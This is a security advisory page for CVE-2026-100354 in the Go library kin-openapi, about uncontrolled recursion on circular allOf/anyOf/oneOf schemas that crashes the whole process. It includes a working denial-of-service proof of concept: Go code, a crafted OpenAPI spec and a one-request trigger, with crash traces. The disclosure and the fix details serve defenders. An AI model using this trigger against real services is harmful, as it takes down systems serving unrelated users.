GHSA-G8CF-RCJF-C8CF
Vulnerability from github – Published: 2026-10-15 20:20 – Updated: 2026-10-15 20:20Summary
kin-openapi's spec loader and spec-time validator both handle circular schema references safely: the loader resolves circular $refs on purpose (to support recursive data structures), and Schema.validate() uses stack-based cycle detection. Validate() therefore accepts a schema whose allOf / anyOf / oneOf chain refers back to itself, returning no error.
The runtime validators do not have that protection. When such a schema is used for request or response validation, the recursion through the combinator chain is unbounded. In Go this produces a fatal stack overflow (runtime: goroutine stack exceeds ... limit / fatal error: stack overflow), which is not a recoverable panic. recover() cannot catch it, so net/http's per-connection recovery does not help. The entire process is terminated, including all goroutines serving unrelated clients.
Two independent unguarded recursion sites were confirmed:
openapi3/schema.go—visitJSON/visitXOFOperations(reached byVisitJSON, i.e. response validation and direct schema validation).openapi3filter/req_resp_decoder.go—decodeValue(reached first during request parameter decoding). The report also identifies the same gap inurlValuesDecoder.parseValueandbuildResObj/buildFromSchemas.
Details
Root Cause
Schema.validate() has cycle detection (openapi3/schema.go:1396):
func (schema *Schema) validate(ctx context.Context, stack []*Schema) ([]*Schema, error) {
if slices.Contains(stack, schema) {
return stack, nil
}
// ...
stack = append(stack, schema)
The runtime visitor has none. visitJSON (line 1951) calls visitXOFOperations (line 2189), which iterates the combinator slice and calls visitJSON again on each sub-schema:
func (schema *Schema) visitXOFOperations(settings *schemaValidationSettings, value any) (err error, run bool) {
// ...
for idx, item := range v { // v = schema.OneOf / AnyOf / AllOf
v := item.Value
// no check for item.Value == schema (or any ancestor)
if err := v.visitJSON(settings, tempValue); err != nil { // recurses forever on a cycle
The request-decoding path has the same structure in decodeValue (openapi3filter/req_resp_decoder.go:270):
func decodeValue(dec valueDecoder, param string, sm *openapi3.SerializationMethod, schema *openapi3.SchemaRef, required bool) (any, bool, error) {
if len(schema.Value.AllOf) > 0 {
for _, sr := range schema.Value.AllOf {
value, f, err = decodeValue(dec, param, sm, sr, required) // no cycle check
Proof of Concept
Environment
- kin-openapi v0.144.0 (tag
v0.144.0, commitf0407d5) - Go 1.26.7
Path A: response / direct schema validation (VisitJSON)
A schema whose allOf refers to itself. Validate() is called first to show the schema is accepted, then VisitJSON():
recursiveSchema := &openapi3.Schema{
Type: &openapi3.Types{"object"},
Properties: openapi3.Schemas{"name": {Value: &openapi3.Schema{Type: &openapi3.Types{"string"}}}},
}
recursiveSchema.AllOf = openapi3.SchemaRefs{{Value: recursiveSchema}} // circular
_ = recursiveSchema.Validate(ctx) // accepted, no error
_ = recursiveSchema.VisitJSON(map[string]any{"name": "test"}) // crashes
Output:
Validate() ACCEPTED the circular schema (no error) -- spec-time cycle detection tolerates it
Calling VisitJSON() -- expect fatal stack overflow (unrecoverable)...
runtime: goroutine stack exceeds 1000000000-byte limit
fatal error: stack overflow
goroutine 1 [running]:
github.com/getkin/kin-openapi/openapi3.(*Schema).visitJSON(...)
openapi3/schema.go:1951
github.com/getkin/kin-openapi/openapi3.(*Schema).visitXOFOperations(...)
openapi3/schema.go:2309
github.com/getkin/kin-openapi/openapi3.(*Schema).visitJSON(...)
openapi3/schema.go:1981
github.com/getkin/kin-openapi/openapi3.(*Schema).visitXOFOperations(...)
openapi3/schema.go:2309
... (repeats until stack overflow)
A defer recover() placed around the call did not catch the fatal error — the process aborted with a non-zero exit code, confirming it is unrecoverable.
Path B: HTTP request validation against a loaded spec (realistic delivery)
A legal OAS 3.0 spec with a circular allOf $ref, loaded normally, served behind a standard net/http handler using openapi3filter.ValidateRequest:
openapi: '3.0.0'
info: { title: Circular allOf crash PoC, version: '1.0' }
paths:
/test:
get:
parameters:
- name: data
in: query
schema: { $ref: '#/components/schemas/Recursive' }
responses: { '200': { description: OK } }
components:
schemas:
Recursive:
type: object
allOf:
- $ref: '#/components/schemas/Recursive'
properties:
name: { type: string }
A single GET /test?data=x crashes the whole server process:
Validate() ACCEPTED the spec with circular allOf $ref
Sending GET /test?data=x through a real net/http server...
runtime: goroutine stack exceeds 1000000000-byte limit
fatal error: stack overflow
...
github.com/getkin/kin-openapi/openapi3filter.decodeValue(...)
openapi3filter/req_resp_decoder.go:278
github.com/getkin/kin-openapi/openapi3filter.decodeValue(...)
openapi3filter/req_resp_decoder.go:278
... (repeats until stack overflow)
The line printed after the request ("the process survived") was never reached, and the process exited with a non-zero code — the standard net/http per-connection recover() did not save it. This is the key distinction from a recoverable panic: a fatal stack overflow takes the entire process down regardless of host.
Fix verification
Adding stack-based cycle detection to both sites (matching validate()'s pattern) eliminated the crash:
visitJSONguard:VisitJSON()returned normally instead of crashing.decodeValueguard: the sameGET /test?data=xreturned a clean400:
Response: 400 "invalid: parameter \"data\" in query has an error: circular schema reference detected while decoding"
If you see this line, the process survived.
Impact
An unrecoverable, whole-process denial of service. Because the crash is a fatal Go runtime error (not a panic), it cannot be contained by net/http's per-request recovery, so A:H applies to all host types, unlike a recoverable-panic bug.
Attack surface, in order of exposure:
- Applications that load OpenAPI specs from untrusted or semi-trusted sources (API gateways, spec linters/validators, mock servers, documentation generators). An attacker supplies a spec containing a circular combinator, and any subsequent request/response validation crashes the service. This is the primary remote-attacker scenario.
- Applications serving a fixed, trusted spec that happens to contain a circular
allOf/anyOf/oneOf. Here any client request to the affected endpoint crashes the process. The spec author does not need malicious intent; a degenerate recursive combinator is enough. This is a latent reliability bug that becomes remotely triggerable once present.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/getkin/kin-openapi"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.149.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-100354"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-15T20:20:37Z",
"nvd_published_at": "2026-10-15T17:17:07Z",
"severity": "HIGH"
},
"details": "## Summary\n\nkin-openapi\u0027s spec loader and spec-time validator both handle circular schema references safely: the loader resolves circular `$ref`s on purpose (to support recursive data structures), and `Schema.validate()` uses stack-based cycle detection. `Validate()` therefore accepts a schema whose `allOf` / `anyOf` / `oneOf` chain refers back to itself, returning no error.\n\nThe runtime validators do not have that protection. When such a schema is used for request or response validation, the recursion through the combinator chain is unbounded. In Go this produces a **fatal stack overflow** (`runtime: goroutine stack exceeds ... limit` / `fatal error: stack overflow`), which is **not** a recoverable panic. `recover()` cannot catch it, so `net/http`\u0027s per-connection recovery does not help. The entire process is terminated, including all goroutines serving unrelated clients.\n\nTwo independent unguarded recursion sites were confirmed:\n\n1. `openapi3/schema.go` \u2014 `visitJSON` / `visitXOFOperations` (reached by `VisitJSON`, i.e. response validation and direct schema validation).\n2. `openapi3filter/req_resp_decoder.go` \u2014 `decodeValue` (reached first during request parameter decoding). The report also identifies the same gap in `urlValuesDecoder.parseValue` and `buildResObj`/`buildFromSchemas`.\n\n## Details \n### Root Cause\n\n`Schema.validate()` has cycle detection (`openapi3/schema.go:1396`):\n\n```go\nfunc (schema *Schema) validate(ctx context.Context, stack []*Schema) ([]*Schema, error) {\n\tif slices.Contains(stack, schema) {\n\t\treturn stack, nil\n\t}\n\t// ...\n\tstack = append(stack, schema)\n```\n\nThe runtime visitor has none. `visitJSON` (line 1951) calls `visitXOFOperations` (line 2189), which iterates the combinator slice and calls `visitJSON` again on each sub-schema:\n\n```go\nfunc (schema *Schema) visitXOFOperations(settings *schemaValidationSettings, value any) (err error, run bool) {\n\t// ...\n\tfor idx, item := range v { // v = schema.OneOf / AnyOf / AllOf\n\t\tv := item.Value\n\t\t// no check for item.Value == schema (or any ancestor)\n\t\tif err := v.visitJSON(settings, tempValue); err != nil { // recurses forever on a cycle\n```\n\nThe request-decoding path has the same structure in `decodeValue` (`openapi3filter/req_resp_decoder.go:270`):\n\n```go\nfunc decodeValue(dec valueDecoder, param string, sm *openapi3.SerializationMethod, schema *openapi3.SchemaRef, required bool) (any, bool, error) {\n\tif len(schema.Value.AllOf) \u003e 0 {\n\t\tfor _, sr := range schema.Value.AllOf {\n\t\t\tvalue, f, err = decodeValue(dec, param, sm, sr, required) // no cycle check\n```\n\n## Proof of Concept\n\n### Environment\n\n- kin-openapi v0.144.0 (tag `v0.144.0`, commit `f0407d5`)\n- Go 1.26.7\n\n### Path A: response / direct schema validation (`VisitJSON`)\n\nA schema whose `allOf` refers to itself. `Validate()` is called first to show the schema is accepted, then `VisitJSON()`:\n\n```go\nrecursiveSchema := \u0026openapi3.Schema{\n\tType: \u0026openapi3.Types{\"object\"},\n\tProperties: openapi3.Schemas{\"name\": {Value: \u0026openapi3.Schema{Type: \u0026openapi3.Types{\"string\"}}}},\n}\nrecursiveSchema.AllOf = openapi3.SchemaRefs{{Value: recursiveSchema}} // circular\n\n_ = recursiveSchema.Validate(ctx) // accepted, no error\n_ = recursiveSchema.VisitJSON(map[string]any{\"name\": \"test\"}) // crashes\n```\n\nOutput:\n\n```\nValidate() ACCEPTED the circular schema (no error) -- spec-time cycle detection tolerates it\nCalling VisitJSON() -- expect fatal stack overflow (unrecoverable)...\nruntime: goroutine stack exceeds 1000000000-byte limit\nfatal error: stack overflow\n\ngoroutine 1 [running]:\ngithub.com/getkin/kin-openapi/openapi3.(*Schema).visitJSON(...)\n\topenapi3/schema.go:1951\ngithub.com/getkin/kin-openapi/openapi3.(*Schema).visitXOFOperations(...)\n\topenapi3/schema.go:2309\ngithub.com/getkin/kin-openapi/openapi3.(*Schema).visitJSON(...)\n\topenapi3/schema.go:1981\ngithub.com/getkin/kin-openapi/openapi3.(*Schema).visitXOFOperations(...)\n\topenapi3/schema.go:2309\n... (repeats until stack overflow)\n```\n\nA `defer recover()` placed around the call did **not** catch the fatal error \u2014 the process aborted with a non-zero exit code, confirming it is unrecoverable.\n\n### Path B: HTTP request validation against a loaded spec (realistic delivery)\n\nA legal OAS 3.0 spec with a circular `allOf` `$ref`, loaded normally, served behind a standard `net/http` handler using `openapi3filter.ValidateRequest`:\n\n```yaml\nopenapi: \u00273.0.0\u0027\ninfo: { title: Circular allOf crash PoC, version: \u00271.0\u0027 }\npaths:\n /test:\n get:\n parameters:\n - name: data\n in: query\n schema: { $ref: \u0027#/components/schemas/Recursive\u0027 }\n responses: { \u0027200\u0027: { description: OK } }\ncomponents:\n schemas:\n Recursive:\n type: object\n allOf:\n - $ref: \u0027#/components/schemas/Recursive\u0027\n properties:\n name: { type: string }\n```\n\nA single `GET /test?data=x` crashes the whole server process:\n\n```\nValidate() ACCEPTED the spec with circular allOf $ref\nSending GET /test?data=x through a real net/http server...\nruntime: goroutine stack exceeds 1000000000-byte limit\nfatal error: stack overflow\n...\ngithub.com/getkin/kin-openapi/openapi3filter.decodeValue(...)\n\topenapi3filter/req_resp_decoder.go:278\ngithub.com/getkin/kin-openapi/openapi3filter.decodeValue(...)\n\topenapi3filter/req_resp_decoder.go:278\n... (repeats until stack overflow)\n```\n\nThe line printed after the request (\"the process survived\") was never reached, and the process exited with a non-zero code \u2014 the standard `net/http` per-connection `recover()` did not save it. This is the key distinction from a recoverable panic: a fatal stack overflow takes the entire process down regardless of host.\n\n### Fix verification\n\nAdding stack-based cycle detection to both sites (matching `validate()`\u0027s pattern) eliminated the crash:\n\n- `visitJSON` guard: `VisitJSON()` returned normally instead of crashing.\n- `decodeValue` guard: the same `GET /test?data=x` returned a clean `400`:\n\n```\nResponse: 400 \"invalid: parameter \\\"data\\\" in query has an error: circular schema reference detected while decoding\"\nIf you see this line, the process survived.\n```\n\n## Impact\n\nAn unrecoverable, whole-process denial of service. Because the crash is a fatal Go runtime error (not a panic), it cannot be contained by `net/http`\u0027s per-request recovery, so **A:H applies to all host types**, unlike a recoverable-panic bug.\n\nAttack surface, in order of exposure:\n\n- **Applications that load OpenAPI specs from untrusted or semi-trusted sources** (API gateways, spec linters/validators, mock servers, documentation generators). An attacker supplies a spec containing a circular combinator, and any subsequent request/response validation crashes the service. This is the primary remote-attacker scenario.\n- **Applications serving a fixed, trusted spec that happens to contain a circular `allOf`/`anyOf`/`oneOf`.** Here any client request to the affected endpoint crashes the process. The spec author does not need malicious intent; a degenerate recursive combinator is enough. This is a latent reliability bug that becomes remotely triggerable once present.",
"id": "GHSA-g8cf-rcjf-c8cf",
"modified": "2026-10-15T20:20:37Z",
"published": "2026-10-15T20:20:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getkin/kin-openapi/security/advisories/GHSA-g8cf-rcjf-c8cf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-100354"
},
{
"type": "WEB",
"url": "https://github.com/getkin/kin-openapi/commit/9245cef66c840e27a08409a8a5cd0ee930c5bcff"
},
{
"type": "PACKAGE",
"url": "https://github.com/getkin/kin-openapi"
},
{
"type": "WEB",
"url": "https://github.com/getkin/kin-openapi/releases/tag/v0.149.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "kin-openapi: Uncontrolled Recursion on Circular allOf/anyOf/oneOf Schemas Causes Fatal Process Crash"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.